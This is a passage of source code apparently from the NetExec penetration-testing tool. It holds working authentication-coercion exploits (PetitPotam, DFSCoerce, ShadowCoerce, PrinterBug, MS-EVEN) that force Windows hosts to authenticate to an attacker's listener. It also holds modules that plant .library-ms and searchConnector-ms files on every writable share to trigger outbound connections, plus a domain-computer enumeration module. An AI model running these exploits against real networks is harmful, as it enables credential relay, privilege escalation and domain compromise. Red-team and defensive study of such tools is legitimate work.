nthash, aesKey, target, doKerberos, dcHost, pipe): binding_params = { "Fssagentrpc": { "stringBinding": rf"ncacn_np:{target}[\PIPE\Fssagentrpc]", "MSRPC_UUID_FSRVP": ("a8e0653c-2744-4389-a61d-7373df8b2292", "3.0"), }, } rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"]) if hasattr(rpctransport, "set_credentials"): rpctransport.set_credentials( username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash, aesKey=aesKey, ) if doKerberos: rpctransport.set_kerberos(doKerberos, kdcHost=dcHost) rpctransport.setRemoteHost(target) dce = rpctransport.get_dce_rpc() if doKerberos: dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) self.context.log.debug(f"Connecting to {format(binding_params[pipe]['stringBinding'])}") try: dce.connect() except Exception as e: self.context.log.debug(f"Something went wrong, check error status => {e!s}") return None try: dce.bind(uuidtup_to_bin(binding_params[pipe]["MSRPC_UUID_FSRVP"])) except Exception as e: self.context.log.debug(f"Something went wrong, check error status => {e!s}") return None self.context.log.debug("[+] Successfully bound!") return dce def exploit(self, dce, listener, always_continue, pipe): self.context.log.debug("Sending IsPathShadowCopied!") try: request = IsPathShadowCopied() request["ShareName"] = f"{listener}\x00" dce.request(request) except Exception as e: if str(e).find("rpc_s_access_denied") >= 0: self.context.log.debug("IsPathShadowCopied Success") self.context.log.highlight(f"Exploit Success, {pipe}\\IsPathShadowCopied") if not always_continue: return True else: self.context.log.debug(f"Something went wrong, check error status => {e!s}") self.context.log.debug("Sending IsPathSupported!") try: request = IsPathSupported() request["ShareName"] = f"{listener}\x00" dce.request(request) except Exception as e: if str(e).find("rpc_s_access_denied") >= 0: self.context.log.debug("IsPathSupported Success") self.context.log.highlight(f"Exploit Success, {pipe}\\IsPathSupported") if not always_continue: return True else: self.context.log.debug(f"Something went wrong, check error status => {e!s}") class NetrDfsAddStdRootForcedResponse(NDRCALL): structure = () class NetrDfsAddStdRootForced(NDRCALL): opnum = 15 structure = ( ("ServerName", WSTR), # Type: WCHAR * ("RootShare", WSTR), # Type: WCHAR * ("Comment", WSTR), # Type: WCHAR * ("Share", WSTR), # Type: WCHAR * ) class NetrDfsRemoveRootTargetResponse(NDRCALL): structure = () class NetrDfsRemoveRootTarget(NDRCALL): opnum = 24 structure = ( ("pDfsPath", LPWSTR), # Type: LPWSTR ("pTargetPath", LPWSTR), # Type: LPWSTR ("Flags", ULONG), # Type: ULONG ) class NetrDfsAddRootTargetResponse(NDRCALL): structure = () class NetrDfsAddRootTarget(NDRCALL): opnum = 23 structure = ( ("pDfsPath", LPWSTR), # Type: LPWSTR ("pTargetPath", LPWSTR), # Type: LPWSTR ("MajorVersion", ULONG), # Type: ULONG ("pComment", LPWSTR), # Type: LPWSTR ("NewNamespace", BOOL), # Type: BOOLEAN ("Flags", ULONG), # Type: ULONG ) class DFSCoerceTrigger: def __init__(self, context): self.context = context def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost, pipe): binding_params = { "netdfs": { "stringBinding": rf"ncacn_np:{target}[\PIPE\netdfs]", "MSRPC_UUID_DFSNM": ("4fc742e0-4a10-11cf-8273-00aa004ae673", "3.0"), }, } rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"]) rpctransport.set_dport(445) if hasattr(rpctransport, "set_credentials"): rpctransport.set_credentials( username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash, aesKey=aesKey, ) if doKerberos: rpctransport.set_kerberos(doKerberos, kdcHost=dcHost) rpctransport.setRemoteHost(target) dce = rpctransport.get_dce_rpc() if doKerberos: dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) self.context.log.debug(f"Connecting to {format(binding_params[pipe]['stringBinding'])}") try: dce.connect() except Exception as e: self.context.log.debug(f"Something went wrong, check error status => {e!s}") return None try: dce.bind(uuidtup_to_bin(binding_params[pipe]["MSRPC_UUID_DFSNM"])) except Exception as e: self.context.log.debug(f"Something went wrong, check error status => {e!s}") return None self.context.log.debug("[+] Successfully bound!") return dce def exploit(self, dce, listener, always_continue, pipe): self.context.log.debug("Sending NetrDfsAddStdRootForced!") try: request = NetrDfsAddStdRootForced() """ NET_API_STATUS NetrDfsAddStdRootForced( [in, string] WCHAR* ServerName, [in, string] WCHAR* RootShare, [in, string] WCHAR* Comment, [in, string] WCHAR* Share ); """ request["ServerName"] = f"{listener}\x00" request["RootShare"] = "test\x00" request["Comment"] = "test\x00" request["Share"] = "x:\\test\x00" dce.request(request) except Exception as e: self.handle_exception(request.__class__.__name__, always_continue, pipe, e) self.context.log.debug("Sending NetrDfsAddRootTarget!") try: request = NetrDfsAddRootTarget() """ NET_API_STATUS NetrDfsAddRootTarget( [in, unique, string] LPWSTR pDfsPath, [in, unique, string] LPWSTR pTargetPath, [in] ULONG MajorVersion, [in, unique, string] LPWSTR pComment, [in] BOOLEAN NewNamespace, [in] ULONG Flags ); """ request["pDfsPath"] = f"\\\\{listener}\\a\x00" request["pTargetPath"] = NULL request["MajorVersion"] = 0 request["pComment"] = "test\x00" request["NewNamespace"] = 0 request["Flags"] = 0 dce.request(request) self.context.log.debug("NetrDfsAddRootTarget Success") return True except Exception as e: self.handle_exception(request.__class__.__name__, always_continue, pipe, e) # Private exploit self.context.log.debug("Sending NetrDfsRemoveRootTarget!") try: request = NetrDfsRemoveRootTarget() """ NET_API_STATUS NetrDfsRemoveRootTarget( [in, unique, string] LPWSTR pDfsPath, [in, unique, string] LPWSTR pTargetPath, [in] ULONG Flags ); """ request["pDfsPath"] = f"\\\\{listener}\\a\x00" request["pTargetPath"] = NULL request["Flags"] = 0 dce.request(request) self.context.log.debug("NetrDfsRemoveRootTarget Success") return True except Exception as e: self.handle_exception(request.__class__.__name__, always_continue, pipe, e) self.context.log.debug("Sending NetrDfsManagerInitialize!") try: request = NetrDfsManagerInitialize() """ NET_API_STATUS NetrDfsManagerInitialize( [in, string] WCHAR* ServerName, [in] DWORD Flags ); """ request["ServerName"] = f"{listener}\x00" request["Flags"] = 0 # Flags: This parameter MUST be zero. dce.request(request) except Exception as e: self.handle_exception(request.__class__.__name__, always_continue, pipe, e) self.context.log.debug("Sending NetrDfsManagerInitialize!") try: request = NetrDfsManagerInitialize() """ NET_API_STATUS NetrDfsManagerInitialize( [in, string] WCHAR* ServerName, [in] DWORD Flags ); """ request["ServerName"] = f"{listener}\x00" request["Flags"] = 0 # Flags: This parameter MUST be zero. dce.request(request) except Exception as e: self.handle_exception(request.__class__.__name__, always_continue, pipe, e) self.context.log.debug("Sending NetrDfsAddStdRoot!") try: request = NetrDfsAddStdRoot() request["ServerName"] = f"{listener}\x00" request["RootShare"] = "test\x00" request["Comment"] = "test\x00" request["ApiFlags"] = 0 dce.request(request) except Exception as e: self.handle_exception(request.__class__.__name__, always_continue, pipe, e) self.context.log.debug("Sending NetrDfsRemoveStdRoot!") try: request = NetrDfsRemoveStdRoot() request["ServerName"] = f"{listener}\x00" request["RootShare"] = "test\x00" request["ApiFlags"] = 0 dce.request(request) except Exception as e: self.handle_exception(request.__class__.__name__, always_continue, pipe, e) def handle_exception(self, method_name, always_continue, pipe, e): if str(e).find("rpc_s_access_denied") >= 0 or str(e).find("ERROR_BAD_NETPATH") >= 0 or str(e).find("RPC_S_INVALID_NET_ADDR") >= 0: self.context.log.debug(f"{method_name} Success") self.context.log.highlight(f"Exploit Success, {pipe}\\{method_name}") if not always_continue: return True elif str(e).find("ERROR_NOT_SUPPORTED") >= 0: self.context.log.debug("Not Vulnerable") else: self.context.log.debug(f"Something went wrong, check error status => {e!s}") class PetitPotamtTrigger: def __init__(self, context): self.context = context def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost, pipe): binding_params = { "lsarpc": { "stringBinding": rf"ncacn_np:{target}[\PIPE\lsarpc]", "MSRPC_UUID_EFSR": ("c681d488-d850-11d0-8c52-00c04fd90f7e", "1.0"), }, "efsrpc": { "stringBinding": rf"ncacn_np:{target}[\PIPE\efsrpc]", "MSRPC_UUID_EFSR": ("df1941c5-fe89-4e79-bf10-463657acf44d", "1.0"), }, "samr": { "stringBinding": rf"ncacn_np:{target}[\PIPE\samr]", "MSRPC_UUID_EFSR": ("c681d488-d850-11d0-8c52-00c04fd90f7e", "1.0"), }, "lsass": { "stringBinding": rf"ncacn_np:{target}[\PIPE\lsass]", "MSRPC_UUID_EFSR": ("c681d488-d850-11d0-8c52-00c04fd90f7e", "1.0"), }, "netlogon": { "stringBinding": rf"ncacn_np:{target}[\PIPE\netlogon]", "MSRPC_UUID_EFSR": ("c681d488-d850-11d0-8c52-00c04fd90f7e", "1.0"), }, } # activates EFS # https://specterops.io/blog/2025/08/19/will-webclient-start/ with contextlib.suppress(Exception): NXCModule.get_dynamic_endpoint(uuidtup_to_bin(("df1941c5-fe89-4e79-bf10-463657acf44d", "0.0")), target, timeout=1) rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"]) rpctransport.set_dport(445) if hasattr(rpctransport, "set_credentials"): rpctransport.set_credentials( username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash, aesKey=aesKey, ) if doKerberos: rpctransport.set_kerberos(doKerberos, kdcHost=dcHost) rpctransport.setRemoteHost(target) dce = rpctransport.get_dce_rpc() if doKerberos: dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) self.context.log.debug(f"Connecting to {format(binding_params[pipe]['stringBinding'])}") try: dce.connect() except Exception as e: self.context.log.debug(f"Something went wrong, check error status => {e!s}") return None try: dce.bind(uuidtup_to_bin(binding_params[pipe]["MSRPC_UUID_EFSR"])) except Exception as e: self.context.log.debug(f"Something went wrong, check error status => {e!s}") return None self.context.log.debug("Successfully bound!") return dce def exploit(self, dce, listener, always_continue, pipe): self.context.log.debug("Sending EfsRpcAddUsersToFile!") try: request = EfsRpcAddUsersToFile() request["FileName"] = f"\\\\{listener}\\test\\Settings.ini\x00" dce.request(request) except Exception as e: if str(e).find("ERROR_BAD_NETPATH") >= 0: self.context.log.debug("EfsRpcAddUsersToFile Success") self.context.log.highlight(f"Exploit Success, {pipe}\\EfsRpcAddUsersToFile") if not always_continue: return True elif str(e).find("rpc_s_access_denied") >= 0 or str(e).find("ERROR_INVALID_NAME") >= 0: self.context.log.debug("Not Vulnerable") else: self.context.log.debug(f"Something went wrong, check error status => {e!s}") self.context.log.debug("Sending EfsRpcAddUsersToFileEx!") try: request = EfsRpcAddUsersToFileEx() request["dwFlags"] = 0x00000002 request["FileName"] = f"\\\\{listener}\\test\\Settings.ini\x00" dce.request(request) except Exception as e: if str(e).find("ERROR_BAD_NETPATH") >= 0: self.context.log.debug("EfsRpcAddUsersToFileEx Success") self.context.log.highlight(f"Exploit Success, {pipe}\\EfsRpcAddUsersToFileEx") if not always_continue: return True elif str(e).find("rpc_s_access_denied") >= 0 or str(e).find("ERROR_INVALID_NAME") >= 0: self.context.log.debug("Not Vulnerable") else: self.context.log.debug(f"Something went wrong, check error status => {e!s}") self.context.log.debug("Sending EfsRpcDecryptFileSrv!") try: request = EfsRpcDecryptFileSrv() request["OpenFlag"] = 0 request["FileName"] = f"\\\\{listener}\\test\\Settings.ini\x00" dce.request(request) except Exception as e: if str(e).find("ERROR_BAD_NETPATH") >= 0: self.context.log.debug("EfsRpcDecryptFileSrv Success") self.context.log.highlight(f"Exploit Success, {pipe}\\EfsRpcDecryptFileSrv") if not always_continue: return True elif str(e).find("rpc_s_access_denied") >= 0 or str(e).find("ERROR_INVALID_NAME") >= 0: self.context.log.debug("Not Vulnerable") else: self.context.log.debug(f"Something went wrong, check error status => {e!s}") self.context.log.debug("Sending EfsRpcDuplicateEncryptionInfoFile!") try: request = EfsRpcDuplicateEncryptionInfoFile() request["SrcFileName"] = f"\\\\{listener}\\test\\Settings.ini\x00" request["DestFileName"] = f"\\\\{listener}\\test\\Settings.ini\x00" request["dwCreationDisposition"] = 0 request["dwAttributes"] = 0 request["RelativeSD"] = EFS_RPC_BLOB() request["bInheritHandle"] = 0 dce.request(request) except Exception as e: if str(e).find("ERROR_BAD_NETPATH") >= 0: self.context.log.debug("EfsRpcDuplicateEncryptionInfoFile Success") self.context.log.highlight(f"Exploit Success, {pipe}\\EfsRpcDuplicateEncryptionInfoFile") if not always_continue: return True elif str(e).find("rpc_s_access_denied") >= 0 or str(e).find("ERROR_INVALID_NAME") >= 0: self.context.log.debug("Not Vulnerable") else: self.context.log.debug(f"Something went wrong, check error status => {e!s}") self.context.log.debug("Sending EfsRpcEncryptFileSrv!") try: request = EfsRpcEncryptFileSrv() request["FileName"] = f"\\\\{listener}\\test\\Settings.ini\x00" dce.request(request) except Exception as e: if str(e).find("ERROR_BAD_NETPATH") >= 0: self.context.log.debug("EfsRpcEncryptFileSrv Success") self.context.log.highlight(f"Exploit Success, {pipe}\\EfsRpcEncryptFileSrv") if not always_continue: return True elif str(e).find("rpc_s_access_denied") >= 0 or str(e).find("ERROR_INVALID_NAME") >= 0: self.context.log.debug("Not Vulnerable") else: self.context.log.debug(f"Something went wrong, check error status => {e!s}") self.context.log.debug("Sending EfsRpcEncryptFileSrv!") try: request = EfsRpcEncryptFileSrv() request["FileName"] = f"\\\\{listener}\\test\\Settings.ini\x00" dce.request(request) except Exception as e: if str(e).find("ERROR_BAD_NETPATH") >= 0: self.context.log.debug("EfsRpcEncryptFileSrv Success") self.context.log.highlight(f"Exploit Success, {pipe}\\EfsRpcEncryptFileSrv") if not always_continue: return True elif str(e).find("rpc_s_access_denied") >= 0 or str(e).find("ERROR_INVALID_NAME") >= 0: self.context.log.debug("Not Vulnerable") else: self.context.log.debug(f"Something went wrong, check error status => {e!s}") self.context.log.debug("Sending EfsRpcFileKeyInfo!") try: request = EfsRpcFileKeyInfo() request["FileName"] = f"\\\\{listener}\\test\\Settings.ini\x00" request["InfoClass"] = 0 dce.request(request) except Exception as e: if str(e).find("ERROR_BAD_NETPATH") >= 0: self.context.log.debug("EfsRpcFileKeyInfo Success") self.context.log.highlight(f"Exploit Success, {pipe}\\EfsRpcFileKeyInfo") if not always_continue: return True elif str(e).find("rpc_s_access_denied") >= 0 or str(e).find("ERROR_INVALID_NAME") >= 0: self.context.log.debug("Not Vulnerable") else: self.context.log.debug(f"Something went wrong, check error status => {e!s}") self.context.log.debug("Sending EfsRpcQueryRecoveryAgents!") try: request = EfsRpcQueryRecoveryAgents() request["FileName"] = f"\\\\{listener}\\test\\Settings.ini\x00" dce.request(request) except Exception as e: if str(e).find("ERROR_BAD_NETPATH") >= 0: self.context.log.debug("EfsRpcQueryRecoveryAgents Success") self.context.log.highlight(f"Exploit Success, {pipe}\\EfsRpcQueryRecoveryAgents") if not always_continue: return True elif str(e).find("rpc_s_access_denied") >= 0 or str(e).find("ERROR_INVALID_NAME") >= 0: self.context.log.debug("Not Vulnerable") else: self.context.log.debug(f"Something went wrong, check error status => {e!s}") self.context.log.debug("Sending EfsRpcQueryUsersOnFile!") try: request = EfsRpcQueryUsersOnFile() request["FileName"] = f"\\\\{listener}\\test\\Settings.ini\x00" dce.request(request) except Exception as e: if str(e).find("ERROR_BAD_NETPATH") >= 0: self.context.log.debug("EfsRpcQueryUsersOnFile Success") self.context.log.highlight(f"Exploit Success, {pipe}\\EfsRpcQueryUsersOnFile") if not always_continue: return True elif str(e).find("rpc_s_access_denied") >= 0 or str(e).find("ERROR_INVALID_NAME") >= 0: self.context.log.debug("Not Vulnerable") else: self.context.log.debug(f"Something went wrong, check error status => {e!s}") self.context.log.debug("Sending EfsRpcRemoveUsersFromFile!") try: request = EfsRpcRemoveUsersFromFile() request["FileName"] = f"\\\\{listener}\\test\\Settings.ini\x00" dce.request(request) except Exception as e: if str(e).find("ERROR_BAD_NETPATH") >= 0: self.context.log.debug("EfsRpcRemoveUsersFromFile Success") self.context.log.highlight(f"Exploit Success, {pipe}\\EfsRpcRemoveUsersFromFile") if not always_continue: return True elif str(e).find("rpc_s_access_denied") >= 0 or str(e).find("ERROR_INVALID_NAME") >= 0: self.context.log.debug("Not Vulnerable") else: self.context.log.debug(f"Something went wrong, check error status => {e!s}") self.context.log.debug("Sending EfsRpcOpenFileRaw!") try: request = EfsRpcOpenFileRaw() request["FileName"] = f"\\\\{listener}\\test\\Settings.ini\x00" request["Flags"] = 0 dce.request(request) except Exception as e: if str(e).find("ERROR_BAD_NETPATH") >= 0: self.context.log.debug("EfsRpcOpenFileRaw Success") self.context.log.highlight(f"Exploit Success, {pipe}\\EfsRpcOpenFileRaw") if not always_continue: return True elif str(e).find("rpc_s_access_denied") >= 0 or str(e).find("ERROR_INVALID_NAME") >= 0: self.context.log.debug("Not Vulnerable") else: self.context.log.debug(f"Something went wrong, check error status => {e!s}") return False class PrinterBugTrigger: def __init__(self, context): self.context = context def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost, pipe): binding_params = { "spoolss": { "stringBinding": rf"ncacn_np:{target}[\PIPE\spoolss]", "MSRPC_UUID_RPRN": ("12345678-1234-abcd-ef00-0123456789ab", "1.0"), "port": 445 }, "[dcerpc]": { "stringBinding": NXCModule.get_dynamic_endpoint(uuidtup_to_bin(("12345678-1234-abcd-ef00-0123456789ab", "1.0")), target), "MSRPC_UUID_RPRN": ("12345678-1234-abcd-ef00-0123456789ab", "1.0"), "port": None } } rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"]) if binding_params[pipe]["port"] is not None: rpctransport.set_dport(binding_params[pipe]["port"]) if hasattr(rpctransport, "set_credentials"): rpctransport.set_credentials( username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash, aesKey=aesKey, ) if doKerberos: rpctransport.set_kerberos(doKerberos, kdcHost=dcHost) rpctransport.setRemoteHost(target) dce = rpctransport.get_dce_rpc() if doKerberos: dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) self.context.log.debug(f"Connecting to {format(binding_params[pipe]['stringBinding'])}") try: dce.connect() except Exception as e: self.context.log.debug(f"Something went wrong, check error status => {e!s}") return None try: dce.bind(uuidtup_to_bin(binding_params[pipe]["MSRPC_UUID_RPRN"])) except Exception as e: self.context.log.debug(f"Something went wrong, check error status => {e!s}") return None self.context.log.debug("Successfully bound!") return dce def exploit(self, dce, listener, target, always_continue, pipe): try: resp = rprn.hRpcOpenPrinter(dce, f"\\\\{target}\x00") except Exception as e: if str(e).find("Broken pipe") >= 0: # The connection timed-out. Let's try to bring it back next round self.context.log.debug("Connection failed - skipping host!") return None elif str(e).upper().find("ACCESS_DENIED"): # We're not admin, bye self.context.log.debug("Access denied - RPC call was denied") return None self.context.log.debug("Got Handle") self.context.log.debug("Sending RpcRemoteFindFirstPrinterChangeNotificationEx!") try: # https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/eb66b221-1c1f-4249-b8bc-c5befec2314d request = rprn.RpcRemoteFindFirstPrinterChangeNotificationEx() request["hPrinter"] = resp["pHandle"] request["fdwFlags"] = rprn.PRINTER_CHANGE_ADD_JOB request["pszLocalMachine"] = f"\\\\{listener}\x00" request["fdwOptions"] = 0x00000000 request["dwPrinterLocal"] = 0 dce.request(request) except Exception as e: if str(e).find("rpc_s_access_denied") >= 0 or str(e).find("RPC_S_SERVER_UNAVAILABLE") >= 0: self.context.log.debug("RpcRemoteFindFirstPrinterChangeNotificationEx Success") self.context.log.highlight(f"Exploit Success, {pipe}\\RpcRemoteFindFirstPrinterChangeNotificationEx") if not always_continue: return True else: self.context.log.debug(f"Something went wrong, check error status => {e!s}") self.context.log.debug("Sending RpcRemoteFindFirstPrinterChangeNotification!") try: resp = rprn.hRpcOpenPrinter(dce, f"\\\\{target}\x00") except Exception as e: if str(e).find("Broken pipe") >= 0: # The connection timed-out. Let's try to bring it back next round self.context.log.debug("Connection failed - skipping host!") return None elif str(e).upper().find("ACCESS_DENIED"): # We're not admin, bye self.context.log.debug("Access denied - RPC call was denied") return None self.context.log.debug("Got Handle") try: # https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/eb66b221-1c1f-4249-b8bc-c5befec2314d request = RpcRemoteFindFirstPrinterChangeNotification() request["hPrinter"] = resp["pHandle"] request["fdwFlags"] = rprn.PRINTER_CHANGE_ADD_JOB request["pszLocalMachine"] = f"\\\\{listener}\x00" request["fdwOptions"] = 0x00000000 request["dwPrinterLocal"] = 0 request["cbBuffer"] = NULL request["pBuffer"] = NULL dce.request(request) except Exception as e: if str(e).find("rpc_s_access_denied") >= 0 or str(e).find("RPC_S_SERVER_UNAVAILABLE") >= 0: self.context.log.debug("RpcRemoteFindFirstPrinterChangeNotification Success") self.context.log.highlight(f"Exploit Success, {pipe}\\RpcRemoteFindFirstPrinterChangeNotification") if not always_continue: return True else: self.context.log.debug(f"Something went wrong, check error status => {e!s}") class MSEvenTrigger: def __init__(self, context): self.context = context def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost, pipe): binding_params = { "eventlog": { "stringBinding": rf"ncacn_np:{target}[\PIPE\eventlog]", "MSRPC_UUID_EVEN": ("82273fdc-e32a-18c3-3f78-827929dc23ea", "0.0"), }, } rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"]) rpctransport.set_dport(445) if hasattr(rpctransport, "set_credentials"): rpctransport.set_credentials( username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash, aesKey=aesKey, ) if doKerberos: rpctransport.set_kerberos(doKerberos, kdcHost=dcHost) rpctransport.setRemoteHost(target) dce = rpctransport.get_dce_rpc() if doKerberos: dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) self.context.log.debug(f"Connecting to {format(binding_params[pipe]['stringBinding'])}") try: dce.connect() except Exception as e: self.context.log.debug(f"Something went wrong, check error status => {e!s}") return None try: dce.bind(uuidtup_to_bin(binding_params[pipe]["MSRPC_UUID_EVEN"])) except Exception as e: self.context.log.debug(f"Something went wrong, check error status => {e!s}") return None self.context.log.debug("[+] Successfully bound!") return dce def exploit(self, dce, listener, always_continue, pipe): self.context.log.debug("Sending ElfrOpenBELW!") try: request = even.ElfrOpenBELW() request["UNCServerName"] = NULL # '%s\x00' % listener request["BackupFileName"] = f"\\??\\UNC\\{listener}\\abcdefgh\\aa" request["MajorVersion"] = 1 request["MinorVersion"] = 1 dce.request(request) except Exception as e: if str(e).find("ERROR_BAD_NETPATH") >= 0 or str(e).find("STATUS_OBJECT_PATH_NOT_FOUND") >= 0 or str(e).find("STATUS_CONNECTION_DISCONNECTED") >= 0: self.context.log.debug("ElfrOpenBELW Success") self.context.log.highlight(f"Exploit Success, {pipe}\\ElfrOpenBELW") if not always_continue: return True elif str(e).find("abstract_syntax_not_supported") >= 0: # not vulnerable self.context.log.debug("Not Vulnerable") else: self.context.log.debug(f"Something went wrong, check error status => {e!s}") class IsPathShadowCopied(NDRCALL): """Structure to make the RPC call to IsPathShadowCopied() in MS-FSRVP Protocol""" opnum = 9 structure = ( ("ShareName", WSTR), # Type: LPWSTR ) class IsPathShadowCopiedResponse(NDRCALL): """Structure to parse the response of the RPC call to IsPathShadowCopied() in [MS-FSRVP Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-fsrvp/dae107ec-8198-4778-a950-faa7edad125b)""" structure = () class IsPathSupported(NDRCALL): """Structure to make the RPC call to IsPathSupported() in [MS-FSRVP Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-fsrvp/dae107ec-8198-4778-a950-faa7edad125b)""" opnum = 8 structure = ( ("ShareName", WSTR), # Type: LPWSTR ) class IsPathSupportedResponse(NDRCALL): """Structure to parse the response of the RPC call to IsPathSupported() in [MS-FSRVP Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-fsrvp/dae107ec-8198-4778-a950-faa7edad125b)""" structure = () class PRINTER_HANDLE(NDRSTRUCT): structure = ( ("Data", '20s=b""'), ) def getAlignment(self): if self._isNDR64 is True: return 8 else: return 4 class USHORT_ARRAY(NDRUniConformantArray): item = "') libms.write('') libms.write("") libms.write("") libms.write("") libms.write(f"\\\\{self.server}\\LIBRARY") libms.write("") libms.write("") libms.write("") libms.write("") def on_login(self, context, connection): shares = connection.shares() for share in shares: if "WRITE" in share["access"] and share["name"] not in self.ignore_shares: context.log.success(f"Found writable share : {share['name']}") if self.cleanup: try: connection.conn.deleteFile(share["name"], self.remote_path) context.log.success(f"Deleted .library-ms file on share '{share['name']}'") except Exception as e: context.log.fail(f"Error deleting .library-ms file on share '{share['name']}' : {e}") else: with open(self.local_path, "rb") as libms: try: connection.conn.putFile(share["name"], self.remote_path, libms.read) context.log.success(f"Created .library-ms file on share '{share['name']}'") except Exception as e: context.log.fail(f"Error writing .library-ms file on share '{share['name']}' : {e}") NetExec-1.5.1/nxc/modules/drop-sc.py000066400000000000000000000102031514706431700172360ustar00rootroot00000000000000import ntpath import tempfile from nxc.helpers.misc import CATEGORY class NXCModule: """ Technique discovered by @DTMSecurity and @domchell to remotely coerce an host to start WebClient service. https://dtm.uk/exploring-search-connectors-and-library-files-on-windows/ Module by @zblurx """ name = "drop-sc" description = "Drop a searchConnector-ms file on each writable share" supported_protocols = ["smb"] category = CATEGORY.PRIVILEGE_ESCALATION def options(self, context, module_options): """ Technique discovered by @DTMSecurity and @domchell to remotely coerce an host to start WebClient service. https://dtm.uk/exploring-search-connectors-and-library-files-on-windows/ Module by @zblurx URL URL in the searchConnector-ms file, default https://rickroll CLEANUP Cleanup (choices: True or False) SHARE Specify a share to target FILENAME Specify the filename used WITHOUT the extension searchConnector-ms (it's automatically added), default is "Documents" """ self.cleanup = False if "CLEANUP" in module_options: self.cleanup = bool(module_options["CLEANUP"]) self.url = "https://rickroll" if "URL" in module_options: self.url = str(module_options["URL"]) self.sharename = "" if "SHARE" in module_options: self.sharename = str(module_options["SHARE"]) self.filename = "Documents" if "FILENAME" in module_options: self.filename = str(module_options["FILENAME"]) self.file_path = ntpath.join("\\", f"{self.filename}.searchConnector-ms") if not self.cleanup: self.scfile_path = f"{tempfile.gettempdir()}/{self.filename}.searchConnector-ms" with open(self.scfile_path, "w") as scfile: scfile.truncate(0) scfile.write('') scfile.write("') # noqa ISC001 scfile.write("Microsoft Outlook") scfile.write("false") scfile.write("true") scfile.write(f"{self.url}/0001.ico") scfile.write("") scfile.write("{91475FE5-586B-4EBA-8D75-D17434B8CDF6}") scfile.write("") scfile.write("") scfile.write(f"{self.url}") scfile.write("") scfile.write("") def on_login(self, context, connection): shares = connection.shares() for share in shares: context.log.debug(f"Share: {share}") if "WRITE" in share["access"] and (share["name"] == self.sharename if self.sharename != "" else share["name"] not in ["C$", "ADMIN$"]): context.log.success(f"Found writable share: {share['name']}") if not self.cleanup: with open(self.scfile_path, "rb") as scfile: try: connection.conn.putFile(share["name"], self.file_path, scfile.read) context.log.success(f"[OPSEC] Created {self.filename}.searchConnector-ms file on the {share['name']} share") except Exception as e: context.log.fail(f"Error writing {self.filename}.searchConnector-ms file on the {share['name']} share: {e}") else: try: connection.conn.deleteFile(share["name"], self.file_path) context.log.success(f"Deleted {self.filename}.searchConnector-ms file on the {share['name']} share") except Exception as e: context.log.fail(f"[OPSEC] Error deleting {self.filename}.searchConnector-ms file on share {share['name']}: {e}") NetExec-1.5.1/nxc/modules/dump-computers.py000066400000000000000000000054001514706431700206560ustar00rootroot00000000000000from nxc.helpers.misc import CATEGORY from nxc.parsers.ldap_results import parse_result_attributes class NXCModule: name = "dump-computers" description = "Dumps FQDN and OS of all computers in the domain" supported_protocols = ["ldap"] category = CATEGORY.ENUMERATION def options(self, context, module_options): """ TYPE Only dump NETBIOS or FQDN instead of 'FQDN (OS Version)' OUTPUT Output to file in addition to printing to console Examples -------- netexec ldap $DC-IP -u $username -p $password -M dump-computers netexec ldap $DC-IP -u $username -p $password -M dump-computers -o TYPE=netbios netexec ldap $DC-IP -u $username -p $password -M dump-computers -o TYPE=fqdn netexec ldap $DC-IP -u $username -p $password -M dump-computers -o TYPE=netbios OUTPUT= """ self.output_file = None self.netbios_only = False self.fqdn_only = False if "OUTPUT" in module_options: self.output_file = module_options["OUTPUT"] if "TYPE" in module_options: if module_options["TYPE"].lower() == "netbios": self.netbios_only = True elif module_options["TYPE"].lower() == "fqdn": self.fqdn_only = True def on_login(self, context, connection): resp = connection.search( searchFilter="(objectCategory=computer)", attributes=["dNSHostName", "operatingSystem"] ) resp_parsed = parse_result_attributes(resp) answers = [] context.log.debug(f"Total number of records returned: {len(resp_parsed)}") for item in resp_parsed: dns_host_name = item.get("dNSHostName") operating_system = item.get("operatingSystem", "Unknown OS") if not dns_host_name: context.log.debug(f"Skipping computer without dNSHostName: {item.get('cn', '')}") continue if self.netbios_only: netbios_name = dns_host_name.split(".")[0] answer = netbios_name elif self.fqdn_only: answer = dns_host_name else: answer = f"{dns_host_name} ({operating_system})" answers.append(answer) context.log.success("Found the following computers:") for answer in answers: context.log.highlight(answer) if self.output_file: try: with open(self.output_file, "w") as f: f.write("\n".join(answers) + "\n") context.log.success(f"Results saved to {self.output_file}") except Exception as e: context.log.error(f"Failed to write to file {self.output_file}: {e}") NetExec-1.5.1/nxc/modules/efsr_spray.py000066400000000000000000000015661514706431700200600ustar00rootroot00000000000000from nxc.context import Context from nxc.helpers.misc import CATEGORY class NXCModule: name = "efsr_spray" description = "[REMOVED] Tries to activate the EFSR service by creating a file with the encryption attribute on some available share." supported_protocols = ["smb"] excluded_shares = ["SYSVOL"] category = CATEGORY.PRIVILEGE_ESCALATION def options(self, 